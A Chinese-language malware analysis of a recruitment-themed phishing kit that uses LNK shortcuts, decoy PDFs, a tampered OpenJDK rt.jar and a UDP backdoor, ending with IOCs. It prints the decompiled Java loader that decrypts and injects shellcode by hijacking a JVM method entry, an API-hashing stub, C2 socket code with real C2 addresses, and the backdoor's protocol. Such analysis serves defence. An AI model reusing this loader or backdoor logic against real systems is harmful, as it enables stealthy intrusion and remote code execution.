以招聘为主题的多阶段定向钓鱼攻击套件分析
本样本来自吾爱破解论坛帖子 https://www.52pojie.cn/thread-2129524-1-1.html。
摘要
据贴主说明,来自两个不同的终端,从压缩包中也可以看出分别是两个不同的岗位招聘(C++和行政主管)。
攻击套件中10 个 LNK(目标 6 级相对路径 explorer.exe)+ 10 份招聘 JD 诱饵 PDF + 裁剪版 OpenJDK 8u492-b1。运行 LNK 即启动 cache/bin/javaw.exe,被篡改的 rt.jar 在 JVM 引导期用 ChaCha20 解密 currency.data,经 Unsafe + 344B stub 加载 21552B UDP 后门,回连 114.132.133.148 / 81.71.250.32 的 UDP 42356。
套件中未见持久化手法,同时从LNK元数据中的时间(2026-06-10 05:12:23 UTC)和两个回连C2的IP(均为腾讯云VPS)推断攻击方为护网攻击队。
1 基本信息
1.1 投递层组件
| 文件名 |
SHA256 |
大小 |
类型 |
工具链 |
加壳 |
编译/生成时间戳 |
角色 |
| 附件/{C++-南京,行政主管-南京}/*/2-.lnk、4-*.lnk(4 份) |
9d5d75b11ac75d3fa471e3d9e7f176108cdf0d5ec72635bbeaf224e0191c2c45 |
1427 |
Windows Shell Link |
自研/脚本化生成器 |
无 |
TrackerData MachineID=a1 |
执行器入口(参数 cache\bin\javaw.exe) |
| 诱饵 LNK ×6(1/3/5 号,两套件) |
53a3e550…1dacd2、29a4f3d4…b43cfa、c0450d57…08b6d6、a5073052…aa6e25、acefdf32…54bbb1、35e67a5c…ad5d61 |
1417/1421 |
Shell Link |
同上 |
无 |
同上 |
诱导(参数 cache\<公司>.pdf) |
| 诱饵 PDF ×7 唯一(10 份,4 份复用) |
0b2c000e…defb0、a9199304…19a61、d98f167e…d3b2bb、ccceb1bd…ffdb35、97784860…003309、bb3d8a85…939cc5、673ab122…525125 |
92.3–195 KB |
PDF 1.3/1.7 |
Typora 1.8.10 / Electron 26.6.2 / Skia-PDF m116 |
无 |
2026-09-08、2026-08-25(两批) |
社工诱饵(南京军工/电力/运营商招聘 JD) |
1.2 载荷层组件(两套件同文件或仅 currency.data 不同)
| 文件名 |
SHA256 |
大小 |
类型 |
工具链 |
加壳 |
时间戳 |
角色 |
| cache/bin/javaw.exe |
197ea3f3af2261d07ddb5221b850f1784e3a01a1e0c09fc32e42e21d2339c4a2 |
209456 |
PE32+ x64 GUI,6 节区 |
Tencent 签名 OpenJDK windows-x86_64-normal-server-release |
无(无 overlay/附加节区) |
2026-04-25 15:21:41 UTC |
签名启动器(未改动) |
| cache/jre/lib/rt.jar |
e8ef3b6420b1102f03f7eecf07341e50e7cb59b8c988cfc5e8cba5dec9a0063d |
684715 |
Java 归档(314 类) |
裁剪版 JDK 8 |
— |
313 条=2026-07-18 21:42:12;RefAccess.class=1980-01-01(DOS 0) |
注入载体 |
| └ java/lang/RefAccess.class |
841aa24169d842147b89ce0a44482bc792fa82d09db3bb377033e71a2ae248c6 |
5195 |
Java 字节码 |
javac 8 |
— |
DOS 0 |
注入类 / stage-1 loader |
| cache/jre/lib/currency.data(研发岗) |
01a0de1622b545306d3c21c2df3055c93009dfda2b57881feb41dbf150ae8424 |
21564 |
ChaCha20 密文(熵 7.9908) |
— |
ChaCha20 |
nonce 78e3c5aafe5261c4aa4404d6 |
stage-2 容器(伪 JDK 数据文件) |
| cache/jre/lib/currency.data(行政主管) |
6d814dd3bdc46532559bf9aa945229241581a2ebc643ed28c1e2afbdfbf95e85 |
21564 |
同上 |
— |
ChaCha20 |
nonce 97348c129b2b7795802dce41 |
同上(另一 C2) |
| 解密后 stage-2(研发 / 行政) |
68beaa7831ae75f59ca2f1783b13b2032b4536881f9618e7ba03a47dd419ef0f / 1ac9e56e1b89493cddb8fe196914c514f6c59d3e42886d06d52b79b5d15ce251 |
21552 |
x86-64 位置无关 shellcode(无 MZ/PE 头) |
手写汇编/MSVC |
无 |
— |
后门本体 |
| cache/jre/bin/server/jvm.dll |
d8211ace9a440f9b5b374bae51055ad9125a368adf1e38546ea4ca3bca2c17a1 |
9301552 |
PE32+ DLL |
自建 OpenJDK 8u492-b1 HotSpot |
— |
— |
JVM |
| cache/jre/bin/java.dll |
7a3c8f78bf7ed3103f7fc13c3e472caa3754381b4d279da84aa014d3671b97f8 |
163880 |
PE32+ DLL |
原版(308 导出,无 Java_java_lang_RefAccess_*) |
— |
— |
JVM 装载 |
| cache/bin/jli.dll |
7f9b31f39cd64b12baac2ed72b5ff9ccc6306c4be8f05b28fcc123483bb44680 |
181800 |
PE32+ DLL |
原版 11 个 JLI_* 导出 |
— |
— |
启动器参数解析 |
| cache/jre/bin/verify.dll |
df735c9661f6db8883a85637f64661c5664ee4dd30b20911df4c0b129992e25c |
53800 |
PE32+ DLL |
原版 4 个校验导出 |
— |
— |
字节码校验器 |
| cache/jre/bin/zip.dll |
fbd6e548a4fef1844da935d264bcf47f4c3da2cceef7f962c71abb38ae9cc061 |
86576 |
PE32+ DLL |
原版 |
— |
— |
zip/jar 支持 |
| cache/jre/bin/msvcr100.dll |
9e52923426001c3db7955b35abd0f020c6722ff352855bb1c5fba1b7a11476e8 |
838552 |
PE32+ DLL |
Microsoft VC++2010 运行库(已签名) |
— |
— |
依赖(无害) |
| cache/jre/lib/amd64/jvm.cfg |
91e6531363501d02f9abc6522d440891b096313a6e45aa3d18fdd923da0561b0 |
14 |
文本 |
内容 -server KNOWN |
— |
— |
JVM 配置 |
1.3 定性与家族归属
- 非公开 C2 框架复用:载荷无 Beacon/CobaltStrike 特征(无 named pipe、无 sleep-mask、无 Malleable Profile 痕迹),无 Sliver/ValleyRAT 指纹;为自研「Java 侧无文件加载器 + 原生 UDP 后门」组合。
- 攻击组织画像:诱饵主题与两套件命名(
C++-南京 / 行政主管-南京)对应中电科 14 所、中电科 28 所、中船 724 所、南瑞继保、国电南瑞(南京军工/电力)、中国移动江苏、国家电网、苏宁易购、途牛旅游,按技术岗与行政岗分档投放两套 C2,属人工指挥的定向活动而非广撒网僵尸网络投放。
- 手法层面的关联性:携带自建并裁剪的 OpenJDK、篡改 rt.jar 引导类、把载荷伪装为 JDK 标准文件
lib/currency.data,这种「便携运行时 + 引导类注入」组合在近年针对国内重点行业的 Java 加载器样本中出现过同类 TTP(推测,依据为本样本与公开报告在手法的重合,未发现代码级复用证据)。
2 感染链全景
逐步说明(动作 + 技术机制):
- 投递:压缩包经邮件/IM 附件下发,解压后为
附件/<岗位>-南京/<岗位>-南京/ 目录树,内含拟真招聘 JD 与同名 LNK,社会工程上「岗位」与「单位」一一对应(如 2-中电科28所.lnk)。
- 诱饵与执行分离:10 个 LNK 共用同一模板——
LinkFlags=0x41E9(含 ForceNoLinkInfo、IsUnicode、HasArguments),不写 LinkInfo、不写 WorkingDir;奇数号 LNK 参数为 cache\<公司>.pdf(打开诱饵),偶数号参数为 cache\bin\javaw.exe(静默执行)。4 份执行型 LNK 字节完全相同(9d5d75b1…c45),本体不含公司名,说明是通用模板套壳命名。
- 目标选择为「参数解释器」:LNK 目标为 6 级相对路径
..\..\..\..\..\..\Windows\explorer.exe(IDList 内解析为 C:\Windows\explorer.exe)。使用相对路径使诱饵包可解压到任意目录直接可用,且借 explorer.exe(系统签名程序)拆包并以自身工作目录解析参数路径,规避白名单/签名与「可疑父进程」检测。
- 启动器:
javaw.exe(GUI 子系统、Tencent Technology (Shenzhen) 签名、DigiCert G4 链,Authenticode 摘要与当前字节复算一致 1de0fb22…)被原样复用,负责拉起自带 cache/jre(jvm.cfg = -server KNOWN)。
- 引导期注入:
JNI_CreateJavaVM → LoadMainClass 阶段触发 sun/misc/Launcher 静态初始化 → new Launcher() → <init> 第 4 字节处 invokestatic java/lang/RefAccess.verify()。即在应用 main class 加载/初始化之前执行,LNK 无需传入有效 Java 主类。
- 解密投放:
verify() 拼装 java.home + /lib/currency.data(字符串现场解码),整体读入;前 12 字节作 ChaCha20 nonce,其余为密文;解密得 21552B 位置无关代码,用 sun.misc.Unsafe.allocateMemory/putByte 直接写入进程原生内存。
- 原生执行:常量池 688 个 hex 字符解出 344B stub;
Unsafe.putLong 把载荷地址/长度回填到 stub 内两个占位魔数,stub 被复制到页对齐 +0x20000 的 scratch 区,并 putAddress 改写 JVM 内部指针槽 p2+80。stub 以 PEB 遍历 + ror13 手工解析 kernel32.dll/VirtualAlloc,VirtualAlloc(NULL,len,0x3000,0x40)(RWX)后 memcpy 并直接 call。
- 失联取证阻力:
verify() 结尾 Runtime.getRuntime().halt(0) 立即终结 JVM,不留宿主进程;stub 不返回。
- 回连:stage-2 以非阻塞 UDP 连接 C2,按 RC4 + CRC32 + 随机填充协议上行主机指纹,等待指令。
3 LNK伪装
对LNK的字段解析详见附件lnk_structure_decode.txt。
以C++-南京为例,1 3 5指向正常招聘PDF,2 4指向cache中的javaw.exe触发感染链。(另外5个LNK同样为 2 4触发感染链)。
右键属性就可以看到这些LNK的指向了,正常LNK指向:
异常LNK以相对路径指向cache文件夹下的cache/bin/javaw.exe:
同时值得注意的是,攻击者为了看起来真实,故意让指向感染链的LNK其对应的PDF损坏无法打开。即中电科28所/国电南瑞/国家电网/苏宁易购 这4份诱饵复用损坏的 PDF(尾部含 smali 残留)。
4 java侧感染
两个攻击套件的感染链结构完全相同,均为如下结构,为一个精简的java运行时目录。
├───bin
│ javaw.exe
│ jli.dll
└───jre
├───bin
│ │ java.dll
│ │ msvcr100.dll
│ │ verify.dll
│ │ zip.dll
│ └───server
│ jvm.dll
└───lib
│ currency.data
│ rt.jar
└───amd64
jvm.cfg
在前面我们看到LNK双击后会启动javaw.exe,然后javaw.exe会加载jli.dll,并调用JLI_Launch()函数,JLI_Launch() 会按顺序执行以下关键操作:
- 解析命令行参数:识别
-cp、-jar、主类名等。
- 定位 JRE 路径:根据
javaw.exe 自身的位置,向上回溯找到 JRE 根目录。
- 读取 JVM 配置:定位并解析
./jre/lib/amd64/jvm.cfg 文件。
- 确定并加载 JVM 实现:根据
jvm.cfg 的指示,找到 server 目录下的 jvm.dll,并通过 LoadLibrary 将其加载到内存中。(本案例中jvm.cfg的内容为 -server KNOWN,这表示 Server VM(位于 ./jre/bin/server/jvm.dll)是可用的。)
jvm.dll 是 HotSpot JVM 的核心动态链接库。加载后,jli.dll 会调用其导出的 JNI_CreateJavaVM 函数,正式创建 Java 虚拟机。JVM 初始化过程中会进行几项关键工作:
- 建立内存模型:划分堆、栈、方法区等。
- 创建引导类加载器(Bootstrap ClassLoader):这是 Java 类加载体系的根加载器,由 C++ 实现。
- 加载核心类库:引导类加载器会从
./jre/lib/rt.jar 中加载 java.lang.*、java.util.* 等最基础的类。rt.jar 是 Java 运行时类库,包含了 JVM 运行所必需的所有基础类。
而此处rt.jar中的java/lang/RefAccess被篡改,在引导期便会自动执行invokestatic java/lang/RefAccess.verify()。
5 Stage-1 RefAccess.verify()核心入口
使用jadx反编译rt.jar并找到java/lang/RefAccess即可看到如下内容,这里只截取verify片段:
public static void verify() {
try {
// 读取并解密 currency.data
// 1. 通过 _str 解密得到 "java.home" 和 "/lib/currency.data",拼接成完整路径
// 2. 读取该文件全部内容
byte[] bArr_readAll = _readAll(new File(System.getProperty(_str(S_JH)) + _str(S_CD)));
// 提取文件前 12 字节作为 ChaCha20 的 nonce
byte[] bArr = new byte[12];
System.arraycopy(bArr_readAll, 0, bArr, 0, 12);
// 从第 12 字节开始,用 ChaCha20 解密剩余数据,得到 native 载荷(stage-2)
// 密钥为硬编码 seed,计数器从 1 开始,nonce 为文件头 12 字节
byte[] bArr_stream = _stream(bArr_readAll, 12, bArr_readAll.length - 12, bArr);
int length = bArr_stream.length;
// 使用 Unsafe 在堆外分配一块内存,用于存放解密后的载荷
long jAllocateMemory = unsafe.allocateMemory(length);
if (jAllocateMemory == 0) {
return; // 分配失败则直接返回
}
// 将解密后的载荷逐字节写入刚分配的堆外内存
for (int i = 0; i < length; i++) {
unsafe.putByte(jAllocateMemory + ((long) i), bArr_stream[i]);
}
// 将十六进制字符串 blob 解码为字节数组,得到 344 字节的 shellcode stub
byte[] bArr_decode = _decode(blob);
// 获取字节数组元素在内存中的基址偏移(用于通过 Unsafe 直接操作数组内容)
long jArrayBaseOffset = unsafe.arrayBaseOffset(byte[].class);
// 在 stub 中查找两个 8 字节占位符 m1 和 m2 的位置
// m1 用于回填载荷地址,m2 用于回填载荷长度
int i_locate = _locate(bArr_decode, m1);
int i_locate2 = _locate(bArr_decode, m2);
if (i_locate < 0 || i_locate2 < 0) {
return; // 未找到占位符则退出
}
// 将载荷的堆外内存地址写入 stub 的 m1 位置
unsafe.putLong(bArr_decode, jArrayBaseOffset + ((long) i_locate), jAllocateMemory);
// 将载荷长度写入 stub 的 m2 位置
unsafe.putLong(bArr_decode, jArrayBaseOffset + ((long) i_locate2), length);
// ---------- 以下为劫持 JVM 内部方法入口的关键步骤 ----------
// 常量说明:
// a1 = 72 : RefAccess.class 对象内偏移,获取 InstanceKlass 指针
// a2 = 392 : InstanceKlass 内偏移,获取方法数组或常量池
// a3 = 64 : Method 对象内偏移,获取代码入口或解释器入口
// a4 = 80 : Method 对象内偏移,覆盖方法入口点
// a5 = 131072 (0x20000) : 页对齐后的偏移,定位可写可执行区域
// 通过 RefAccess.class 对象获取其 InstanceKlass 指针(偏移 a1)
// 再从 InstanceKlass 中获取方法数组或常量池(偏移 a2)
// 然后层层解引用,最终定位到目标方法(很可能是 _notify)的 Method 对象
// 表达式:unsafe.getLong(RefAccess.class, a1) 得到 InstanceKlass*
// + a2 得到某个结构指针
// unsafe.getAddress(...) 得到 Method*
// + 8 + 24 调整到 Method 内部某个字段,最终得到方法入口地址
long address = unsafe.getAddress(unsafe.getAddress(unsafe.getLong(RefAccess.class, a1) + a2) + 8 + 24);
// 将方法入口地址按页对齐(4096 字节),然后加上 a5 = 0x20000 偏移
// 得到一块可写可执行的内存区域(通常位于 JVM 代码缓存或堆附近)
long address2 = ((unsafe.getAddress(address + a3) / 4096) * 4096) + a5;
// 将 shellcode stub 逐字节写入该可写可执行区域
for (int i2 = 0; i2 < bArr_decode.length; i2++) {
unsafe.putByte(address2 + ((long) i2), bArr_decode[i2]);
}
// 用 Unsafe 直接修改 Method 对象的入口点(偏移 a4 = 80),使其指向 shellcode stub
// 这样当 _notify() 被调用时,JVM 会跳转到 shellcode 执行
unsafe.putAddress(address + a4, address2);
// 触发被劫持的方法,实际执行 shellcode
_notify();
} catch (Throwable th) {
// 静默捕获所有异常,避免留下痕迹
}
// 强制终止 JVM,不执行 shutdown hook,减少日志和清理
Runtime.getRuntime().halt(0);
}
即:它读取自带的 currency.data,以前 12 字节为 nonce、硬编码 seed 为密钥,用 ChaCha20 解密出约 21KB 的 native 载荷,再通过 Unsafe.allocateMemory 在堆外分配内存并写入;随后解码十六进制 blob 得到 344 字节 shellcode stub,回填载荷地址与长度,并利用硬编码偏移和 Unsafe 直接改写 JVM 内部方法入口,使其指向 stub,最后调用 _notify() 触发执行并 halt(0) 强制终止 JVM;整个过程静默捕获异常、载荷不落地,完成了从 Java 层到 native 层的隐蔽过渡。
6 Stage-2 currency.data载荷
两台终端中除LNK诱饵不同之外,另外一个不同点就是该载荷中的C2 IP(均为UDP,端口均为42356).
6.1 入口
解密载荷入口 start()(0x180001000)先 sub rsp,0x8000 再调 beacon_main_c2_client(0x180003540,11969B)。main 开头:
STACK[0x3FB0] = 0x2E3233312E343131LL; // "114.132." <- C2 IP 前半(逐 kit 不同)
STACK[0x3FB8] = 0x3834312E333331LL; // "133.148\0" <- C2 IP 后半
STACK[0x3F90] = 0x3130336131663831LL; // "18f1a301" <- 配置 ID(两 kit 相同)
STACK[0x3F98] = 0x6562313932333434LL; // "443291be"
全部字符串由 mov reg, imm64 立即数在栈上拼装(全载荷仅 101 条 imm64 构成字符串,无明文串表);API 解析链:NtCurrentPeb() → Ldr->InLoadOrderModuleList 第 2 个模块(ntdll)→ 手工导出表匹配 LdrGetProcedureAddress → 解析 LdrLoadDll/NtCreateSection/NtMapViewOfSection/NtUnmapViewOfSection/NtClose,再 LdrLoadDll(kernel32) 取 LoadLibraryA/GetProcAddress 后按需解析 ws2_32/advapi32/user32 能力。未解析任何进程创建/注入 API(无 CreateProcess/CreateThread/WriteProcessMemory/WinExec);节流由 GetTickCount + select 超时实现(上限 0xEA60=60000ms)。
6.2 stub 反混淆
Ldr = NtCurrentPeb()->Ldr; // gs:[0x60] -> PEB->Ldr
Flink = Ldr->InMemoryOrderModuleList.Flink; // InMemoryOrder 模块链
while ( Flink ) {
v3 = Flink - 1; // -0x10 => LDR_DATA_TABLE_ENTRY 基址
v4 = Flink[5].Flink; // entry+0x60 = BaseDllName.Buffer
v5 = LOWORD(v3[5].Blink) >> 1; // entry+0x58 = BaseDllName.Length(字符数)
for ( i = 0; v5; --v5 ) { // ror13,A-Z 先转小写
LODWORD(Ldr) = LOBYTE(v4->Flink);
if ( Ldr >= 0x41 && Ldr <= 0x5A ) LOBYTE(Ldr) += 32;
i = (_DWORD)Ldr + __ROR4__(i, 13); // h = ror13(h) + c
v4 = (struct _LIST_ENTRY *)((char *)v4 + 2);
}
if ( __ROR4__(i, 13) == -1308852378 ) { // 末尾再 ror13 -> 0xB1FC7F66 = kernel32.dll
v2 = v3[3].Flink; break; // DllBase = entry+0x30
}
Flink = Flink->Flink;
}
... // +e_lfanew -> PE 头; +0x88 = Export RVA (PE32+)
if ( v16 == 1386515838 ) { ... } // 0x52A48D7E = VirtualAlloc
LABEL_23:
v18 = qword_180001148[0]; v19 = qword_180001148[1]; // 参数块 [0]=载荷地址 [1]=载荷长度
Ldr = (void *)v17(0, v19, 12288, 64); // VirtualAlloc(NULL,len,0x3000,0x40=RWX)
for ( k = 0; k < v19; ++k )
*((_BYTE *)&Ldr->Length + k) = *(_BYTE *)(v18 + k); // 拷贝解密载荷
LOBYTE(Ldr) = ((__int64 (*)(void))Ldr)(); // 直接 call 载荷(不返回)
哈希算法经 IDA 确证为 h=0; for c: h = ror13(h)+c; 末尾再 ror13(h)(模块名先转小写),复算 kernel32.dll → 0xB1FC7F66、VirtualAlloc → 0x52A48D7E 与二进制常量完全一致;参数块位于 blob 偏移 0x148/0x150(VA 0x180001148/0x180001150)。
6.3 网络通信协议
| 项 |
值 |
| C2-1 |
114.132.133.148:42356/udp |
| C2-2 |
81.71.250.32:42356/udp |
| 传输层 |
UDP,非阻塞(ioctlsocket(FIONBIO=0x8004667E))+ select 超时轮询 |
| 端口来源 |
mov ecx,0A574h → htons → sockaddr_in.sin_port,无明文端口串 |
| 地址填充 |
inet_pton(AF_INET, ip, &sin_addr),IP 拆成两段 mov reg,imm64 立即数 |
| 套接字创建 |
socket(AF_INET=2, SOCK_DGRAM=2, IPPROTO_UDP=17),getaddrinfo hints 同参数 |
| 会话密钥/标识 |
18f1a301443291be(两套件一致;RC4 密钥指针取自上下文 [ctx+0xF8]) |
UDP 装配与发送(IDA 反汇编实际输出):
0x180005EA5 call [rsp+38h+arg_3E80] ; WSAStartup(0x202, &wsaData)
0x180005EC3 rep stosb ; memset(sockaddr_in,0,16)
0x180005ECA mov word ptr [sockaddr], 2 ; AF_INET
0x180005ED4 mov ecx, 0A574h ; ===> 端口 42356
0x180005ED9 call [rsp+38h+arg_3EB8] ; htons(0xA574)
0x180005EE0 mov [sockaddr+2], ax ; sin_port
0x180005EE8 lea rdx, [rsp+38h+arg_3F68] ; C2 IP 字符串
0x180005EF0 lea r8, [sockaddr+4] ; &sin_addr
0x180005EF8 mov ecx, 2 ; AF_INET
0x180005EFD call [rsp+38h+arg_3F40] ; inet_pton(AF_INET, ip, &sin_addr)
0x180005F3A mov [hints+12], 11h ; ai_protocol = IPPROTO_UDP
报文结构(依据 0x180001518 / 0x180005281 还原):
+-----------+--------------------------------+-------------------+----------+
| 4B 帧头 | RC4(明文体) | 随机填充 16-128B | CRC32 |
+-----------+--------------------------------+-------------------+----------+
帧头语义未确证 RC4 KSA+PRGA(0x180001422) rand()%0x71+16 poly 0xEDB88320
- 接收路径 0x180005281
recvfrom → 长度 ≤4 丢弃 → 0x1800052A0 RC4 解密 → sub_1800021BE 命令分发;发送路径 0x18000164D RC4 后经 [ctx+0x150] 发出;packet_crc32_add_random_pad(0x180001518) 负责追加随机填充并计算 CRC32。
- 随机源为上下文函数指针槽
[ctx+0xF0]+320(对应已解析的 SystemFunction036/RtlGenRandom)。
首包上报 JSON(键为栈上立即数拼装确认,值为运行期填充):
{"machine_id":"<HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid>","ip_address":"","hostname":"","desktop_info":"","display_info":"","pad":""}
| 字段 |
取值来源 |
| machine_id |
RegOpenKeyExA/RegQueryValueExA 读 HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid(缺失回填 unknown-machine-id) |
| hostname |
GetComputerNameW / gethostname(缺失回填 unknown-host) |
| display_info |
EnumDisplayDevicesA |
| desktop_info |
GetEnvironmentVariableW(USERPROFILE) + FindFirstFileW/FindNextFileW/FindClose 枚举 Desktop\\* |
| ip_address |
字段存在,取值来源未逐条确认(推测为本机地址/gethostname 结果) |
| pad |
每次随机填充(rand,16–128B) |
6.4 C2指令集实现
这不是一个全功能 RAT,而是极小的 stager/加载器:服务端→客户端只有 2 条有效指令("s":1 终止、"s":2 内存加载执行下一阶段),无文件/进程/键盘/截屏/隧道类指令。可大致判定其采用KCP(https://github.com/skywind3000/kcp)
| KCP 常量/结构 |
证据 |
| cmd 语义 |
0x51=PUSH(*(_BYTE *)(v25 + 4) = 81)、0x52=ACK(LOBYTE(v46[1]) = 82)、0x53=WASK、0x54=WINS |
| 24 字节头 |
kcp_encode_hdr24 逐字段 conv/cmd/frg/wnd/ts/sn/una/len@+48 拷贝 |
| RTO 公式 |
srtt/rttvar 以 3*x + y)>>2、y + x*8)>>3 加权,上限 60000 |
| 参数 |
mtu 1200、mss 1176、sndwnd/rcvwnd 128、nodelay 1、interval 10、resend 2、nc 1 |
| 队列 |
4 个队列(kcp_q_init ×4,位于 STACK[0x798/0x7A8/0x7B8/0x7C8])= snd_queue / rcv_queue / snd_buf / rcv_buf |
| 分片标志 |
段结构 +5 = frg,kcp_peeksize 用 frg 与队列长度判定是否可整条读出 |
内存中的段结构(56 B,kcp_seg_alloc56)与线路头不同:+0 conv, +4 cmd, +5 frg, +6 wnd, +8 ts, +12 sn, +16 una, +24 rto, +32 fastack, +40 data, +48 len。采用公开的 KCP 可靠 UDP 协议(或其等价重实现),在上面叠了自定义的 RC4 + 随机填充 + CRC32 + JSON 应用层。
如下为其具体实现的应用层命令:
| 命令值 |
编码/判别方式 |
判别位置 |
handler / 动作 |
入参格式与约束 |
返回/回包 |
"s":1 |
明文 JSON,3 字节序列 "s"(0x22 0x73 0x22) + 跳过 :(0x3A)/空格 + 1 位 ASCII 数字,值域仅 0–9(v4-48) |
提取 0x180002149;比较 0x180003540 第 1133–1141 行与第 1254–1258 行 |
终止:kcp_reset_queues(0x180001387) → closesocket(slot 0x3EF8) → WSACleanup(slot 0x3ED0) → return(线程/载荷结束,无落地文件) |
只需该字段;无附加参数。"d" 存在也忽略 |
无回包(进程断链退出) |
"s":2 |
同上 |
同上;随后在同一缓冲内再搜 "d"(0x22 0x64 0x22),跳过 :/空格后要求下一个字符是 ",取引号内字符串 |
内存加载并执行下一阶段:Base64 解码 "d" → VirtualAlloc(0, len, 12288(0x3000), 64(0x40) RWX) → memcpy → call → VirtualFree(ptr,0,0x8000)。执行前:释放重组缓冲、kcp_reset_queues、closesocket(v183)、WSACleanup() |
"d":"<Base64>"。长度约束:Base64 长度必须能被 4 整除((len-1)&3 != 0 直接放弃);解码后缓冲 v157 = 3*(n/4),并按尾部 = 个数减 1(1 或 2 个 padding),即标准 Base64。解码前先做字符表校验,出现非法字符即刻放弃 |
无回包(先断链再执行,下一阶段的通信自行建立) |
"s":0 |
同上 |
同上 |
无动作:仅释放缓冲,会话继续(0x180003540 第 1132–1147 行的 v175==0 分支落入保活循环) |
— |
无 |
"s":3–"s":9 |
同上(可被解析出数字) |
同上 |
未实现:v145 != 1 && v145 != 2 → 释放缓冲并走"无消息"重试路径(0x180003540 第 1260–1264 行) |
— |
无 |
| 字段缺失/畸形 |
json_extract_field_int 返回 0xFFFFFFFF |
0x180002149 第 31 行 |
视同无命令(重试) |
— |
无 |
6.5 报文格式、加密与分片
端到端封装(发送路径实际调用链)
flowchart LR
A["应用层 JSON<br/>(侦察 / 保活 / 命令)"] --> B["rc4_crypt_alloc<br/>key = 18f1a301443291be"]
B --> C["KCP 拆分<br/>mss 1176, frg 分片"]
C --> D["kcp_flush_build_datagram<br/>拼 24B 头 + 段数据"]
D --> E["packet_crc32_add_random_pad<br/>追加随机 16–128B + CRC32 0xEDB88320"]
E --> F["udp_recv_kcp_pump / sendto<br/>整包再 RC4 一次"]
F --> G["UDP 42356"]
| 层 |
细节 |
| 应用层 |
JSON 文本;agent 侧无"命令执行结果"回包机制 |
| RC4(应用层) |
rc4_crypt_alloc(0x1800017CA)KSA+PRGA,密钥取 strlen(a5) 长度,a5 = &STACK[0x3F90] = 字符串 18f1a301443291be |
| RC4(数据报层) |
收:rc4_crypt_sbox_prga(&buf, len, STACK[0x828]);STACK[0x828] 在 0x180004B58 被赋为 &STACK[0x3F90],即同一密钥 |
| KCP |
24B 头:+0 conv(必须==ctx[0]) +4 cmd +5 frg +6 wnd +8 ts +12 sn +16 una +20 len;cmd 语义 0x51PUSH(数据)/0x52ACK/0x53WASK/0x54WINS;参数 mtu 1200 / mss 1176 / sndwnd 128 / rcvwnd 128 / nodelay 1 / interval 10ms / resend 2 / nc 1 |
| trailer |
pad = random32 % 0x71 + 16(16–128 B),随后 CRC32(poly 0xEDB88320) |
| 长度前缀 |
数据报前 4 字节为大端长度(*v35=BYTE3(len) … v35[3]=len),该 4 字节同样参与 RC4 |
分片与重组
- 分片:KCP 段级 ——
kcp_flush_build_datagram 在一个数据报内连续拼 [24B 头][段数据],当 v11 + 23 >= *(ctx+4)(缓冲上限)时调用 packet_crc32_add_random_pad 打 trailer 并发出;应用报文超过 mss(1176) 时由 KCP frg 字段拆分并逐段携带 sn。
- 重组:接收端
udp_recv_kcp_pump(0x1800029E0,槽 (a1+344) = recvfrom,槽 (a1+368) = 数据可读判定 select)→ 4 字节头丢弃 → RC4 → kcp_input_ack_rtt_process → kcp_move_rcvbuf_to_queue(0x1800016EF) 按 sn 排序移入接收队列 → kcp_recv_app_msg(0x180001B8A,用 +5 分片标志与 kcp_peeksize 0x180001696 合并同一条应用报文)→ 得到完整 JSON。
- 收到 trailer 的行为:接收端未显式校验 CRC32;KCP 解析在 trailer 处因
conv 与 ctx[0] 不匹配而终止(0x1800021BE 第 106 行的 conv 校验分支)→ 随机填充同时起到流量特征扰动作用。
- 可靠性:由 KCP 承担(ACK
0x52 回收未确认表 ctx+136/ctx+144、una 批量回收、RTT/RTO 估计、重传);应用层没有自己的应答/结果报文。
6.6 状态机、时序与会话前置条件
| 阶段 |
行为 |
| 前置 |
必须先发侦察报文(无 "s"/"t" 字段,6 字段);服务端命令只能在此之后到达 |
| 等待 |
select(0,{sock},0,0,10000ms) 最多 10 s;收到后进入收包循环;两者超时窗口受 rand_sleep_5_12s(5000 + rand%7001)约束 |
| 保活 |
若"距上次活动 ≥ 5–12 s 仍无下行",发送 {"t":2,"machine_id":"…","pad":"<随机16–128字母>"} |
| 会话上限 |
now - session_start > 0x1D4BF (120000 ms) → kcp_reset_queues → Sleep(rand%30001 + 30000)(30–60 s)→ 回到外层循环重新建链并重新上报侦察报文 |
| KCP 更新节流 |
距上次 update > 9 ms 才调用 kcp_flush_build_datagram;KCP 定时器 interval = 10 ms |
| RTO |
首次 7000 ms;未收到 ACK 时 x1.5 增长,上限 120000 ms;最小值 10500 ms |
因此判别顺序为:没有握手/认证包(无用户名/密钥交换步骤),conv(*(dword*)a1)本身就是唯一会话标识,且由客户端随机生成后写入首个 KCP 段;服务端命令在任何已建立的 KCP 会话中均可下发。
7 总结
攻击者通过密码保护的压缩包投递包含LNK快捷方式、诱饵PDF和裁剪版OpenJDK运行时的目录,利用LNK相对路径与explorer.exe启动便携JRE,并篡改rt.jar中的java.lang.RefAccess类,使其在JVM引导期自动执行。verify()函数读取伪装成currency.data的ChaCha20密文,解密出约21KB的native载荷,再通过Unsafe在堆外分配内存、回填344字节shellcode stub,并劫持JVM内部方法入口,完成从Java层到native层的无文件加载。最终载荷以UDP协议回连腾讯云VPS(114.132.133.148/81.71.250.32:42356),上报主机指纹并等待指令。该套件按技术岗与行政岗分档投放两套C2,未见持久化手法,手法隐蔽且规避性强,推测为护网攻击队所发起的定向活动。防御重点应聚焦于异常LNK、便携JRE、篡改rt.jar、Unsafe滥用以及特定UDP流量。
8 IOCs
8.1 文件哈希
| 类型 |
值 |
性质 |
说明 |
| SHA-256 |
9d5d75b11ac75d3fa471e3d9e7f176108cdf0d5ec72635bbeaf224e0191c2c45 |
入口执行器 |
LNK 执行模板(4 份复用) |
| SHA-256 |
53a3e5502404f15cd5f03c3258c1c02e0bdbe20bf3851b563b0168a8511dacd2 |
诱饵 |
1-中电科14所.lnk |
| SHA-256 |
29a4f3d450800a71040df5421c1af6ac9b93670c68798f306b5becf3cbb43cfa |
诱饵 |
3-南瑞继保.lnk |
| SHA-256 |
c0450d57915495e61731eb42af77836acf24bd1aa4db37887593282d4c08b6d6 |
诱饵 |
5-中船724所.lnk |
| SHA-256 |
a5073052b04763ef57c4c1ad9f5c4b4ff60af33fb28f3472973e7c218faa6e25 |
诱饵 |
1-中国移动.lnk |
| SHA-256 |
acefdf3209557af94f9de567f206a0174cb4582ce87cf6a4f171ac70d154bbb1 |
诱饵 |
3-中电科十四所.lnk |
| SHA-256 |
35e67a5cc3360efeb174d71c74fa6c67e3f0ed633f86a507aea7b39b4bad5d61 |
诱饵 |
